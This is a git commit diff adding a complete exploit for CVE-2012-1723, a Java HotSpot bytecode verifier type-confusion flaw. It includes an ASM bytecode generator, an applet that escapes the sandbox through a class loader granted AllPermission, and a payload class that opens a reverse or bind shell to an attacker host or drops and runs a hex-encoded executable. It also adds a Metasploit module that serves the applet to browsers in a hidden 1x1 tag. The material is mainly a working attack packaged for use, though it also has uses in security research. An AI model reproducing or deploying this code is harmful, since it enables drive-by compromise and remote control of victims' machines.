added CVE-2012-1723
This commit is contained in:
parent
52752d7685
commit
e9ac90f7b0
Binary file not shown.
|
@ -0,0 +1,2 @@
|
|||
1. Run Generator to make 'Confuser.class', requires ASM4
|
||||
2. Then pack everything together to make the jar
|
|
@ -0,0 +1,63 @@
|
|||
package cve1723;
|
||||
|
||||
import java.applet.Applet;
|
||||
import java.awt.*;
|
||||
import java.io.*;
|
||||
import java.net.URL;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.nio.IntBuffer;
|
||||
|
||||
/**
|
||||
* Attacker applet
|
||||
*/
|
||||
public class Attacker extends Applet {
|
||||
@Override
|
||||
public void init() {
|
||||
super.init();
|
||||
|
||||
final Confuser c = new Confuser();
|
||||
for (int i = 0; i < 100000; i++) {
|
||||
c.confuse(null);
|
||||
}
|
||||
|
||||
try {
|
||||
Thread.sleep(100);
|
||||
} catch (final InterruptedException ie) {
|
||||
//swallow
|
||||
}
|
||||
|
||||
try {
|
||||
final ConfusingClassLoader cl = c.confuse(getClass().getClassLoader());
|
||||
final String names[] = { "msf.x.PayloadX", "msf.x.PayloadX$StreamConnector" };
|
||||
final String paths[] = { "/msf/x/PayloadX.class", "/msf/x/PayloadX$StreamConnector.class" };
|
||||
|
||||
final String port = getParameter("lport");
|
||||
ConfusingClassLoader.defineAndCreate(cl, names, new byte[][] { loadClass(paths[0]), loadClass(paths[1])}, getParameter("data"), getParameter("jar"), getParameter("lhost"), (port == null ? 4444 : Integer.parseInt(port)));
|
||||
} catch (final Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
private byte[] loadClass(final String name) throws IOException {
|
||||
final ByteArrayOutputStream os = new ByteArrayOutputStream();
|
||||
{ // load the payload class
|
||||
final InputStream is = getClass().getResourceAsStream(name);
|
||||
int read;
|
||||
byte[] buffer = new byte[2048];
|
||||
|
||||
while ((read = is.read(buffer, 0, buffer.length)) != -1) {
|
||||
os.write(buffer, 0, read);
|
||||
}
|
||||
}
|
||||
|
||||
return os.toByteArray();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void paint(final Graphics g) {
|
||||
super.paint(g);
|
||||
|
||||
final String tool = System.getSecurityManager() == null ? "null" : System.getSecurityManager().toString();
|
||||
g.drawString(tool, 0, 10);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,40 @@
|
|||
package cve1723;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
import java.net.URL;
|
||||
import java.security.*;
|
||||
import java.security.cert.*;
|
||||
import java.security.cert.Certificate;
|
||||
import java.util.Enumeration;
|
||||
|
||||
/**
|
||||
* Call the protected method
|
||||
*/
|
||||
public class ConfusingClassLoader extends ClassLoader {
|
||||
|
||||
public static void defineAndCreate(final ConfusingClassLoader cl, final String name[], final byte data[][], final String hexdata, final String jar, final String lhost, final int lport) {
|
||||
try {
|
||||
final Permissions p = new Permissions();
|
||||
p.add(new AllPermission());
|
||||
final ProtectionDomain pd = new ProtectionDomain(new CodeSource(null, new Certificate[0]), p);
|
||||
|
||||
final Class<?> clazz = cl.defineClass(name[0], data[0], 0, data[0].length, pd);
|
||||
cl.defineClass(name[1], data[1], 0, data[1].length, pd);
|
||||
|
||||
final Field payload_data = clazz.getField("data");
|
||||
final Field payload_jar = clazz.getField("jar");
|
||||
final Field payload_lhost = clazz.getField("lhost");
|
||||
final Field payload_lport = clazz.getField("lport");
|
||||
|
||||
payload_data.set(null, hexdata);
|
||||
payload_jar.set(null, jar);
|
||||
payload_lhost.set(null, lhost);
|
||||
payload_lport.set(null, lport);
|
||||
|
||||
clazz.newInstance();
|
||||
} catch (final Exception e) {
|
||||
// swallow
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,132 @@
|
|||
package cve1723;
|
||||
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.nio.*;
|
||||
import java.util.Arrays;
|
||||
|
||||
import static org.objectweb.asm.Opcodes.*;
|
||||
|
||||
/**
|
||||
* CVE-2012-1723
|
||||
*/
|
||||
public class Generator {
|
||||
public static byte[] generateConfusion() {
|
||||
final String STATIC_FIELD_NAME = "staticTypeA";
|
||||
final String INSTANCE_FIELD_NAME = "instanceTypeB";
|
||||
final String CONFUSE_METHOD_NAME = "confuse";
|
||||
final String CONFUSER_CLASS_NAME = "cve1723/Confuser";
|
||||
|
||||
final String TYPE_A = "Ljava/lang/ClassLoader;";
|
||||
final String TYPE_B = "Lcve1723/ConfusingClassLoader;";
|
||||
|
||||
final ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES | ClassWriter.COMPUTE_MAXS);
|
||||
|
||||
MethodVisitor mv = null;
|
||||
FieldVisitor fv = null;
|
||||
|
||||
cw.visit(V1_5, ACC_PUBLIC | ACC_SUPER, CONFUSER_CLASS_NAME, null, "java/lang/Object", null);
|
||||
|
||||
// static field of type A (ClassLoader)
|
||||
{
|
||||
fv = cw.visitField(ACC_STATIC, STATIC_FIELD_NAME, TYPE_A, null, null);
|
||||
fv.visitEnd();
|
||||
}
|
||||
|
||||
// one hundred fields of type B (ConfusingClassLoader)
|
||||
{
|
||||
for (int i = 0; i < 100; i++) {
|
||||
fv = cw.visitField(ACC_PUBLIC, INSTANCE_FIELD_NAME + i, TYPE_B, null, null);
|
||||
fv.visitEnd();
|
||||
}
|
||||
}
|
||||
|
||||
// constructor
|
||||
{
|
||||
mv = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);
|
||||
mv.visitCode();
|
||||
mv.visitVarInsn(ALOAD, 0);
|
||||
mv.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V");
|
||||
mv.visitInsn(RETURN);
|
||||
mv.visitMaxs(0, 0);
|
||||
mv.visitEnd();
|
||||
}
|
||||
|
||||
// confuse method
|
||||
{
|
||||
mv = cw.visitMethod(ACC_PUBLIC, CONFUSE_METHOD_NAME, "(" + TYPE_A + ")" + TYPE_B, null, null);
|
||||
mv.visitCode();
|
||||
/*
|
||||
aload 1 // push parameter onto stack
|
||||
ifnonnull cont:
|
||||
aconst_null
|
||||
areturn // quick return
|
||||
cont:
|
||||
getstatic STATIC_FIELD_NAME
|
||||
pop
|
||||
aload 0
|
||||
aload 1
|
||||
putfield STATIC_FIELD_NAME // force this into a non-static field
|
||||
|
||||
// find instance field that's not null
|
||||
aload 0
|
||||
getfield INSTANCE_FIELD_NAME_1
|
||||
ifnull cont2:
|
||||
aload 0
|
||||
getfield INSTANCE_FIELD_NAME_1
|
||||
areturn
|
||||
cont2:
|
||||
...
|
||||
|
||||
aconst_null
|
||||
areturn
|
||||
*/
|
||||
|
||||
// first part
|
||||
mv.visitVarInsn(ALOAD, 1);
|
||||
final Label cont = new Label();
|
||||
mv.visitJumpInsn(IFNONNULL, cont);
|
||||
mv.visitInsn(ACONST_NULL);
|
||||
mv.visitInsn(ARETURN);
|
||||
mv.visitLabel(cont);
|
||||
|
||||
// 2nd part
|
||||
mv.visitFieldInsn(GETSTATIC, CONFUSER_CLASS_NAME, STATIC_FIELD_NAME, TYPE_A);
|
||||
mv.visitInsn(POP);
|
||||
mv.visitVarInsn(ALOAD, 0);
|
||||
mv.visitVarInsn(ALOAD, 1);
|
||||
mv.visitFieldInsn(PUTFIELD, CONFUSER_CLASS_NAME, STATIC_FIELD_NAME, TYPE_A);
|
||||
|
||||
for (int i = 0; i < 100; i++) {
|
||||
mv.visitVarInsn(ALOAD, 0);
|
||||
mv.visitFieldInsn(GETFIELD, CONFUSER_CLASS_NAME, INSTANCE_FIELD_NAME + i, TYPE_B);
|
||||
final Label contN = new Label();
|
||||
mv.visitJumpInsn(IFNULL, contN);
|
||||
mv.visitVarInsn(ALOAD, 0);
|
||||
mv.visitFieldInsn(GETFIELD, CONFUSER_CLASS_NAME, INSTANCE_FIELD_NAME + i, TYPE_B);
|
||||
mv.visitInsn(ARETURN);
|
||||
mv.visitLabel(contN);
|
||||
}
|
||||
|
||||
mv.visitInsn(ACONST_NULL);
|
||||
mv.visitInsn(ARETURN);
|
||||
|
||||
mv.visitMaxs(0, 0);
|
||||
mv.visitEnd();
|
||||
}
|
||||
cw.visitEnd();
|
||||
|
||||
return cw.toByteArray();
|
||||
}
|
||||
|
||||
public static void main(final String args[]) throws Exception {
|
||||
final byte data[] = Generator.generateConfusion();
|
||||
final FileOutputStream fo = new FileOutputStream("lib/cve1723/Confuser.class");
|
||||
fo.write(data);
|
||||
fo.close();
|
||||
}
|
||||
}
|
|
@ -0,0 +1,195 @@
|
|||
package msf.x;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.BufferedWriter;
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.InputStream;
|
||||
import java.io.InputStreamReader;
|
||||
import java.io.OutputStream;
|
||||
import java.io.OutputStreamWriter;
|
||||
import java.net.ServerSocket;
|
||||
import java.net.Socket;
|
||||
import java.security.AccessController;
|
||||
import java.security.PrivilegedExceptionAction;
|
||||
|
||||
public class PayloadX implements PrivilegedExceptionAction
|
||||
{
|
||||
// This will contain a hex string of the native payload to drop and execute.
|
||||
public static String data = null;
|
||||
public static String jar = null;
|
||||
// If no native payload is set we get either a java bind shell or a java
|
||||
// reverse shell.
|
||||
public static String lhost = null;
|
||||
public static int lport = 4444;
|
||||
|
||||
class StreamConnector extends Thread
|
||||
{
|
||||
InputStream is;
|
||||
OutputStream os;
|
||||
|
||||
StreamConnector( InputStream is, OutputStream os )
|
||||
{
|
||||
this.is = is;
|
||||
this.os = os;
|
||||
}
|
||||
|
||||
public void run()
|
||||
{
|
||||
BufferedReader in = null;
|
||||
BufferedWriter out = null;
|
||||
|
||||
try
|
||||
{
|
||||
in = new BufferedReader( new InputStreamReader( is ) );
|
||||
out = new BufferedWriter( new OutputStreamWriter( os ) );
|
||||
char buffer[] = new char[8192];
|
||||
int length;
|
||||
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
|
||||
{
|
||||
out.write( buffer, 0, length );
|
||||
out.flush();
|
||||
}
|
||||
}
|
||||
catch( Exception e ) {}
|
||||
|
||||
try
|
||||
{
|
||||
if( in != null )
|
||||
in.close();
|
||||
if( out != null )
|
||||
out.close();
|
||||
}
|
||||
catch( Exception e ) {}
|
||||
}
|
||||
}
|
||||
|
||||
// http://stackoverflow.com/questions/140131/convert-a-string-representation-of-a-hex-dump-to-a-byte-array-using-java
|
||||
public static byte[] StringToBytes( String s )
|
||||
{
|
||||
byte[] data = new byte[s.length() / 2];
|
||||
|
||||
for( int i = 0 ; i < s.length() ; i += 2 )
|
||||
data[i / 2] = (byte)( ( Character.digit( s.charAt( i ), 16 ) << 4 ) + Character.digit( s.charAt( i + 1 ), 16 ) );
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
public Object run() throws Exception
|
||||
{
|
||||
//System.out.println("Running");
|
||||
// if the native payload data has not been set just return for now, it
|
||||
// will be set by the next time we reach here.
|
||||
if( PayloadX.data == null && PayloadX.jar == null )
|
||||
return null;
|
||||
//System.out.println("have either data or jar");
|
||||
|
||||
try
|
||||
{
|
||||
String os = System.getProperty( "os.name" );
|
||||
|
||||
//System.out.println("OS: " + os);
|
||||
// if we have no native payload to drop and execute we default to
|
||||
// either a TCP bind or reverse shell.
|
||||
if(
|
||||
(PayloadX.data == null || PayloadX.data.length() == 0) &&
|
||||
(PayloadX.jar == null || PayloadX.jar.length() == 0)
|
||||
) {
|
||||
//System.out.println("no, exe/jar. Doing shell");
|
||||
Socket client_socket = null;
|
||||
|
||||
String shell = "/bin/sh";
|
||||
|
||||
if( os.indexOf( "Windows" ) >= 0 )
|
||||
shell = "cmd.exe";
|
||||
|
||||
if( PayloadX.lhost == null )
|
||||
{
|
||||
ServerSocket server_socket = new ServerSocket( PayloadX.lport );
|
||||
client_socket = server_socket.accept();
|
||||
}
|
||||
else
|
||||
{
|
||||
client_socket = new Socket( PayloadX.lhost, PayloadX.lport );
|
||||
}
|
||||
|
||||
if( client_socket != null )
|
||||
{
|
||||
Process process = exec( shell );
|
||||
if( process != null )
|
||||
{
|
||||
( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();
|
||||
( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();
|
||||
}
|
||||
}
|
||||
}
|
||||
else if( PayloadX.jar != null && (PayloadX.jar.length() != 0) )
|
||||
{
|
||||
//System.out.println("Dropping JAR");
|
||||
String path = System.getProperty( "java.io.tmpdir" ) + File.separator + Math.random() + ".jar";
|
||||
|
||||
writeFile( path, StringToBytes( PayloadX.jar ) );
|
||||
exec( "java -jar " + path + " " + PayloadX.lhost + " " + PayloadX.lport + " true");
|
||||
}
|
||||
else
|
||||
{
|
||||
//System.out.println("Dropping EXE");
|
||||
String path = System.getProperty( "java.io.tmpdir" ) + File.separator + Math.random() + ".exe";
|
||||
|
||||
writeFile( path, StringToBytes( PayloadX.data ) );
|
||||
if( os.indexOf( "Windows" ) < 0 )
|
||||
{
|
||||
exec( "chmod 755 " + path );
|
||||
}
|
||||
exec( path );
|
||||
new File( path ).delete();
|
||||
}
|
||||
}
|
||||
catch( Exception e ) {
|
||||
//System.out.println(e);
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
public Process exec( String path )
|
||||
{
|
||||
Process p = null;
|
||||
//System.out.println( "Executing" );
|
||||
try {
|
||||
p = Runtime.getRuntime().exec( path );
|
||||
if( p == null )
|
||||
{
|
||||
//System.out.println( "Null process, crap" );
|
||||
}
|
||||
p.waitFor();
|
||||
} catch( Exception e ) {
|
||||
//System.out.println(e);
|
||||
}
|
||||
return p;
|
||||
}
|
||||
|
||||
public void writeFile( String path, byte[] data )
|
||||
{
|
||||
//System.out.println( "Writing file" );
|
||||
try {
|
||||
FileOutputStream fos = new FileOutputStream( path );
|
||||
|
||||
fos.write( data );
|
||||
fos.close();
|
||||
} catch( Exception e ) {
|
||||
//System.out.println(e);
|
||||
}
|
||||
}
|
||||
|
||||
public PayloadX()
|
||||
{
|
||||
try
|
||||
{
|
||||
AccessController.doPrivileged( this );
|
||||
}
|
||||
catch( Exception e ) {
|
||||
//System.out.println(e);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,173 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
include Msf::Exploit::Remote::BrowserAutopwn
|
||||
autopwn_info({ :javascript => false })
|
||||
|
||||
def initialize( info = {} )
|
||||
super( update_info( info,
|
||||
'Name' => 'Java Applet Field Bytecode Verifier Cache Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in HotSpot bytecode verifier where an invalid
|
||||
optimisation of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficent
|
||||
type checks.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Stefan Cornellius', # Discoverer
|
||||
'littlelightlittlefire', # metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2012-1723'],
|
||||
['URL', 'http://schierlm.users.sourceforge.net/CVE-2012-1723.html'],
|
||||
['URL', 'http://schierlm.users.sourceforge.net/TypeConfusion.html'],
|
||||
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-1723']
|
||||
],
|
||||
'Platform' => [ 'java', 'win', 'osx', 'linux', 'solaris' ],
|
||||
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Generic (Java Payload)',
|
||||
{
|
||||
'Platform' => ['java'],
|
||||
'Arch' => ARCH_JAVA,
|
||||
}
|
||||
],
|
||||
[ 'Windows x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
}
|
||||
],
|
||||
[ 'Mac OS X PPC (Native Payload)',
|
||||
{
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_PPC,
|
||||
}
|
||||
],
|
||||
[ 'Mac OS X x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86,
|
||||
}
|
||||
],
|
||||
[ 'Linux x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jun 06 2012'
|
||||
))
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
# load the static jar file
|
||||
path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-1723.jar" )
|
||||
fd = File.open( path, "rb" )
|
||||
@jar_data = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
|
||||
def on_request_uri( cli, request )
|
||||
data = ""
|
||||
host = ""
|
||||
port = ""
|
||||
|
||||
if not request.uri.match(/\.jar$/i)
|
||||
if not request.uri.match(/\/$/)
|
||||
send_redirect( cli, get_resource() + '/', '')
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
payload = regenerate_payload( cli )
|
||||
if not payload
|
||||
print_error("Failed to generate the payload." )
|
||||
return
|
||||
end
|
||||
|
||||
if target.name == 'Generic (Java Payload)'
|
||||
if datastore['LHOST']
|
||||
jar = payload.encoded
|
||||
host = datastore['LHOST']
|
||||
port = datastore['LPORT']
|
||||
vprint_status("Sending java reverse shell")
|
||||
else
|
||||
port = datastore['LPORT']
|
||||
datastore['RHOST'] = cli.peerhost
|
||||
vprint_status( "Java bind shell" )
|
||||
end
|
||||
if jar
|
||||
print_status( "Generated jar to drop (#{jar.length} bytes)." )
|
||||
jar = Rex::Text.to_hex( jar, prefix="" )
|
||||
else
|
||||
print_error("Failed to generate the executable." )
|
||||
return
|
||||
end
|
||||
else
|
||||
|
||||
# NOTE: The EXE mixin automagically handles detection of arch/platform
|
||||
data = generate_payload_exe
|
||||
|
||||
if data
|
||||
print_status("Generated executable to drop (#{data.length} bytes)." )
|
||||
data = Rex::Text.to_hex( data, prefix="" )
|
||||
else
|
||||
print_error("Failed to generate the executable." )
|
||||
return
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
send_response_html( cli, generate_html( data, jar, host, port ), { 'Content-Type' => 'text/html' } )
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Sending jar")
|
||||
send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )
|
||||
|
||||
handler( cli )
|
||||
end
|
||||
|
||||
def generate_html( data, jar, host, port )
|
||||
jar_name = rand_text_alpha(rand(6)+3) + ".jar"
|
||||
|
||||
html = "<html><head></head>"
|
||||
html += "<body>"
|
||||
html += "<applet archive=\"#{jar_name}\" code=\"cve1723.Attacker\" width=\"1\" height=\"1\">"
|
||||
html += "<param name=\"data\" value=\"#{data}\"/>" if data
|
||||
html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar
|
||||
html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
|
||||
html += "</applet></body></html>"
|
||||
return html
|
||||
end
|
||||
|
||||
def generate_jar()
|
||||
return @jar_data
|
||||
end
|
||||
|
||||
end
|
||||
|
Loading…
Reference in New Issue